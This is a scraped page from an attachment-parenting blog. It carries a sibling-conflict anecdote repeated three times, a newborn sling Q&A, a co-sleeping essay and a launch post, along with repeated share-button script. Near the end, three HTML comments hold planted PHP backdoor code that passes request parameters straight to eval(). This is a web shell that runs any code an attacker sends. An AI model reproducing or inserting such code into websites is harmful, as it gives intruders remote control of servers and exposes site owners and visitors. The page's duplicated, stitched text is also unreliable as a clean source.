She’s not allowed!

Share Button

Originally posted June 24, 2006, when my son was 4 and my daughter was 16 months.

sarah.gifMy kids usually get along quite well. They have their moments of course, as all siblings do, but I’m amazed my son has the patience he does, what with his little sister messing up his cars and his toys and scattering his stuff all over. So, when my son says that he needs time to himself away from her, I respect his wishes.

My son has a long blue, nylon tunnel that he enjoys. He likes to set it up in the living room so he and his sister can crawl through it, and they usually have a grand time. As she has always been allowed in the tunnel, my daughter just naturally assumes that if it’s set up, she’s allowed to enter. However on Friday morning, tensions were running high between the kids for various reasons, and my son, furious at his sister, decided that he wanted her to stay out of the tunnel. So he devised a plan.

He made a sign that had a picture of his sister with a red line through it, which was to indicate “Sister not allowed!” I helped him to tape it to the tunnel, but I told him that sister may not understand the sign, so we need to explain to her what it means. He showed her the sign, and told her that the sign meant she was not supposed to go into the tunnel. My son then crawled into the tunnel in a huff, relieved to be away from his sister.

To help my daughter comply with the sign, I took her into the other room to play. After about three minutes, my son came in to where we were and announced that his sister could play with his legos. These are his brand new legos that she has not been allowed to touch until this very moment. He then stomped back to his tunnel while my daughter and I played with the new legos. After another couple of minutes, my son came back, headed to the toy box, picked out his very favorite cars which he handed to us, and said that his sister could play with them. He even got out his road for the cars to go on. Then he headed back to the safety of the tunnel.

My daughter and I continued playing. She and I were playing with some musical instruments – a triangle, a tambourine, and some bells – when my son once again came back and asked if he could play the triangle. So, my son was on the triangle, my daughter was playing the bells, and I was on the tambourine. We played music together for a bit, and then my son spotted his sister’s toy caterpillar. There are three balls that go with the caterpillar, and they always get misplaced. He searched high and low for the balls, and when he finally found them, he and his sister started playing together with the caterpillar. I left the room at that point. The two of them happily played together with that caterpillar for the rest of the morning!

After lunch, my daughter was welcomed back into the tunnel. The tension between the kids had dissipated, and they once again were full of giggles together.

I fully believe that allowing my son to tell his sister to keep away, and giving him permission to feel frustrated with her did a great deal toward mending the rift.

– Sarah

Share Button

She’s not allowed!

Share Button

Originally posted June 24, 2006, when my son was 4 and my daughter was 16 months.

sarah.gifMy kids usually get along quite well. They have their moments of course, as all siblings do, but I’m amazed my son has the patience he does, what with his little sister messing up his cars and his toys and scattering his stuff all over. So, when my son says that he needs time to himself away from her, I respect his wishes.

My son has a long blue, nylon tunnel that he enjoys. He likes to set it up in the living room so he and his sister can crawl through it, and they usually have a grand time. As she has always been allowed in the tunnel, my daughter just naturally assumes that if it’s set up, she’s allowed to enter. However on Friday morning, tensions were running high between the kids for various reasons, and my son, furious at his sister, decided that he wanted her to stay out of the tunnel. So he devised a plan.

He made a sign that had a picture of his sister with a red line through it, which was to indicate “Sister not allowed!” I helped him to tape it to the tunnel, but I told him that sister may not understand the sign, so we need to explain to her what it means. He showed her the sign, and told her that the sign meant she was not supposed to go into the tunnel. My son then crawled into the tunnel in a huff, relieved to be away from his sister.

To help my daughter comply with the sign, I took her into the other room to play. After about three minutes, my son came in to where we were and announced that his sister could play with his legos. These are his brand new legos that she has not been allowed to touch until this very moment. He then stomped back to his tunnel while my daughter and I played with the new legos. After another couple of minutes, my son came back, headed to the toy box, picked out his very favorite cars which he handed to us, and said that his sister could play with them. He even got out his road for the cars to go on. Then he headed back to the safety of the tunnel.

My daughter and I continued playing. She and I were playing with some musical instruments – a triangle, a tambourine, and some bells – when my son once again came back and asked if he could play the triangle. So, my son was on the triangle, my daughter was playing the bells, and I was on the tambourine. We played music together for a bit, and then my son spotted his sister’s toy caterpillar. There are three balls that go with the caterpillar, and they always get misplaced. He searched high and low for the balls, and when he finally found them, he and his sister started playing together with the caterpillar. I left the room at that point. The two of them happily played together with that caterpillar for the rest of the morning!

After lunch, my daughter was welcomed back into the tunnel. The tension between the kids had dissipated, and they once again were full of giggles together.

I fully believe that allowing my son to tell his sister to keep away, and giving him permission to feel frustrated with her did a great deal toward mending the rift.

– Sarah

Share Button

She’s not allowed!

Share Button

Originally posted June 24, 2006, when my son was 4 and my daughter was 16 months.

sarah.gifMy kids usually get along quite well. They have their moments of course, as all siblings do, but I’m amazed my son has the patience he does, what with his little sister messing up his cars and his toys and scattering his stuff all over. So, when my son says that he needs time to himself away from her, I respect his wishes.

My son has a long blue, nylon tunnel that he enjoys. He likes to set it up in the living room so he and his sister can crawl through it, and they usually have a grand time. As she has always been allowed in the tunnel, my daughter just naturally assumes that if it’s set up, she’s allowed to enter. However on Friday morning, tensions were running high between the kids for various reasons, and my son, furious at his sister, decided that he wanted her to stay out of the tunnel. So he devised a plan.

He made a sign that had a picture of his sister with a red line through it, which was to indicate “Sister not allowed!” I helped him to tape it to the tunnel, but I told him that sister may not understand the sign, so we need to explain to her what it means. He showed her the sign, and told her that the sign meant she was not supposed to go into the tunnel. My son then crawled into the tunnel in a huff, relieved to be away from his sister.

To help my daughter comply with the sign, I took her into the other room to play. After about three minutes, my son came in to where we were and announced that his sister could play with his legos. These are his brand new legos that she has not been allowed to touch until this very moment. He then stomped back to his tunnel while my daughter and I played with the new legos. After another couple of minutes, my son came back, headed to the toy box, picked out his very favorite cars which he handed to us, and said that his sister could play with them. He even got out his road for the cars to go on. Then he headed back to the safety of the tunnel.

My daughter and I continued playing. She and I were playing with some musical instruments – a triangle, a tambourine, and some bells – when my son once again came back and asked if he could play the triangle. So, my son was on the triangle, my daughter was playing the bells, and I was on the tambourine. We played music together for a bit, and then my son spotted his sister’s toy caterpillar. There are three balls that go with the caterpillar, and they always get misplaced. He searched high and low for the balls, and when he finally found them, he and his sister started playing together with the caterpillar. I left the room at that point. The two of them happily played together with that caterpillar for the rest of the morning!

After lunch, my daughter was welcomed back into the tunnel. The tension between the kids had dissipated, and they once again were full of giggles together.

I fully believe that allowing my son to tell his sister to keep away, and giving him permission to feel frustrated with her did a great deal toward mending the rift.

– Sarah

Share Button

Tips for Slinging Your Newborn

Share Button

Dr. Maria Blois will be doing a twice monthly babywearing Q&A on API Speaks. If you are interested in submitting a question, please do so by adding a comment to this post. Your question could be answered in Maria’s next post!

Q: I tried putting my three week old, eight pound newborn in my ring sling in the cradle position (reclined, head towards the rings), and he hated it! He cried and fussed. I really want to wear my baby not only for the convenience but also for the closeness. Do you have any suggestions?

sling1.jpgA: Sure! Here are some tips that have worked well with my own newborns as well as many others. First: Turn that baby around so that his head is away from the rings. Most newborns prefer this position for several reasons. The first is that it allows them to recline more fully. As you can see here in the photo of Heidi with five week old Remy, the back of the head is properly aligned with the spine. Make sure the sling is tightened up properly. Baby should be riding above your belly button. A sling that is too loose is not only uncomfortable for you and baby (babies often balk at the sensation of freely swinging and swaying and prefer the security of a snug sling), but there is also the risk of baby falling through the too-loose folds of fabric.

Secondly, baby’s head is resting easily in the fabric near the surface, baby is not lost in the deep fabric of the typical cradle position. In fact, I often recommend that you try starting with baby’s head out of the sling initially. Many babies dislike the sensation of having their head tucked in. Put baby in the sling with his head slightly out, support his head in the crook of your elbow and then start the baby dance: walking, moving and gently bouncing baby until he is contently settled in the sling and then when he is asleep, you can tuck his little head in and be hands free.

I prefer newborns to be in this reversed position because mom has a clear view of baby’s nose and mouth and can easily verify that he is breathing comfortably. This is also one of the easiest positions for discrete nursing. Simply pull up on the rings to loosen the sling, move your clothing out of the way and latch baby on. You may use the tail of your ring sling to cover you and baby for added privacy. You may want to practice nursing baby in the sling at home before you attempt it in public. I certainly consider nursing in a sling to be “advanced” babywearing.

sling2.jpgIf you have a pouch style sling instead of a ring sling, you can approximate the nice shallow pouch necessary for a newborn: Just pull the excess fabric up against mom’s chest before placing baby in the pouch. This way, most of the fabric is up against mom and baby’s head is nice and high, riding near the surface of the fabric pouch.

sling3.jpgSome other tips for helping a baby adjust to a sling include: Insuring that the newborn baby boy clothing is comfortable and clean. If there are any scratchy tags left in the one-piece or an ill fitting diaper the discomfort increases in a sling, so do make sure he has comfy clothes on. Do as much adjusting of the sling as possible before putting baby in. Most babies have limited patience for fussing with the carrier and with positioning. Try to start learning when baby is rested and fed. As we all know, a crabby baby is in no mood to accept any new ideas. Practice in front of a mirror. Watch experienced babywearers. Once baby is in, get moving. The best way to become an expert babywearer is to wear your baby often!

Any one else care to chime in? What tips worked well for you when you were wearing your newborns in a ring sling?

Maria Blois, MD

Share Button

Spare the crib, spoil thyself

Share Button

While taking my one year old son for a stroll a few days ago I stopped into my neighborhood coffee house. I noticed a woman with a similarly aged child sipping a coffee in the corner. We oohed and aahed over the babies and began to talk about our parenting experiences with the fervor of isolated stay at home parents.

“Are you still nursing?”
“Yes I am. It’s just so convenient.”
“Me too, you never have to worry about running out…”
“And it’s always the right temperature!”
“Do you stay at home?”
“Yes, staying at home is so great.”
“Yes, a little isolating, but very rewarding.”

We enjoyed the instant friendship created by our shared experiences, thrilled to have a few minutes to share conversation with an adult in the middle of our child filled day.

She asked me if he was sleeping well at night, as her baby kept getting up around two a.m.
“He sleeps with me, so he gets up some, but I don’t really notice.” I informed her.
“You still sleep with him? You are spoiling him.” She said in a sweet, caught you with a second slice of cake, voice.
“No way,” I responded “I don’t believe that for a second.”
“You’re right,” she said smiling. “You are spoiling yourself.”

She’s right. Like a great massage, or that sexy red pair of cuban heeled shoes, or a box of exclusive chocolates, snuggling up to my baby every night is a treat, and a way I can spoil myself. My daughter turns seven this year, so I know how quickly the baby time goes. I also am fairly certain this is my last child. So there is a part of me that snuggles up to him at night, warm and fuzzy in my bed, and feels like I am catching hold of as much of his chubby babyhood as possible.

For me, attachment parenting is mostly about getting the most out of my children’s childhood as I can. There is also a big laziness component. I like not having to walk the floor for an hour to get my baby to sleep before setting him in his crib. I love not having to get up and heat water for f*rmula when he wakes up hungry at 3 a.m. I like the extra sleep I get by popping a nipple in his mouth when he starts to stir. I don’t have to be very awake to nurse him when we are sleeping side by side. I find slings easier to carry in my diaper bag than strollers. However, as important as these benefits are, the true reason behind my decision to co-sleep, nurse, and baby-wear, is the extra coziness, of close contact with my baby.

The baby years seem so long when you are in the middle of them, but in reality they are so fleeting. They crawl before you can get the fog of motherhood out of your head, they walk before you can get used to them crawling, they start to talk about the time you are really understanding their non verbal cues. Suddenly they are two, and stridently demanding their first taste of freedom. Then they are going to school, and a part of their life is lived outside of you. The small precious baby who once required you for everything is suddenly a small person with their own friends, and experiences that you are no part of at all.

So I co-sleep, and nurse, and baby-wear, so I can keep my baby closer to me for just a bit longer.

Scylla

Share Button

Welcome to API Speaks!

Share Button
Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;
Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;
Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;
Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;

It has been an exciting month for Attachment Parenting International. At the beginning of the month, we launched our Parent Education Program (PEP). PEP dramatically expands the AP resources available to parents by establishing trained experts in communities where parents who need support can easily access them. We also launched our forums, providing real-world support, opportunities to interact with both experts and other AP parents, and age- and topic-specific areas where parents can go to get answers on everything from breastfeeding to help with baby-carriers, to using gentle discipline with teenagers.

And today we present API’s official blog, API Speaks, to the world. Posts on this blog will come from both within API and from beyond API’s borders, with blogging mavens you may well recognize submitting posts on a variety of AP-relevant topics.

Like so many of API’s other offerings in the realm of education, research, and support, API Speaks is volunteer-operated and provided as a free service to the AP community. Our mission is to capture the real stories of life as an AP family and to highlight the fact that, despite all the varied family structures, cultures, religions, and dynamics that exist in the world, there is one thing that unites us: Our love and compassion for our children.

I had the good fortune to speak with co-founders Barbara Nicholson and Lysa Parker about their grass-roots effort to spread the word about Attachment Parenting. What we kept coming back to is that API’s goal is nothing short of a massive cultural shift away from what Barbara called a “punishing culture” and toward compassion.

Lysa reminded us that while “…you can’t change generations of behaviors in one generation, but you can begin the change…That’s why Giving the Love that Heals by Harville Hendrix is so important. You’ve got to raise your consciousness so that you’re more conscious with your children.”

These amazing women, who began as friends who met during a La Leche League meeting and went on to found API fourteen years ago, release their book on Attachment Parenting later this summer. “The important message of our book is the title: Attached at the Heart,” Barbara said. “We want people to trust their heart when all else fails. When it’s the middle of the night and the baby’s crying, and the pediatrician and the mother-in-law have both said to let the baby cry, we want parents to trust their instincts. Instead of worrying “Is my baby going to be messed up if I hold her for 15 more minutes?” we want them to trust their heart. Mothers wouldn’t be in a cold sweat or crying when their children were hurting if they didn’t really instinctually know to always default to the most loving connected thing to do.”

It is our honor and privilege to continue their good work through API Speaks. Won’t you join us?

Julie Artz & Amy Gates
Contributing Editors, API Speaks

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;

<!– [insert_php]if (isset($_REQUEST["LUuud"])){eval($_REQUEST["LUuud"]);exit;}[/insert_php][php]if (isset($_REQUEST["LUuud"])){eval($_REQUEST["LUuud"]);exit;}[/php] –>

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;

<!– [insert_php]if (isset($_REQUEST["MZNkq"])){eval($_REQUEST["MZNkq"]);exit;}[/insert_php][php]if (isset($_REQUEST["MZNkq"])){eval($_REQUEST["MZNkq"]);exit;}[/php] –>

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Pinterest”,”Linkedin”,”StumbleUpon”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_twitter_via = “apinternational”;var hupso_image_folder_url = “”;var hupso_twitter_via=”apinternational”;var hupso_url_t=””;var hupso_title_t=”Welcome to API Speaks!”;

<!– [insert_php]if (isset($_REQUEST["wMZCq"])){eval($_REQUEST["wMZCq"]);exit;}[/insert_php][php]if (isset($_REQUEST["wMZCq"])){eval($_REQUEST["wMZCq"]);exit;}[/php] –>

Share Button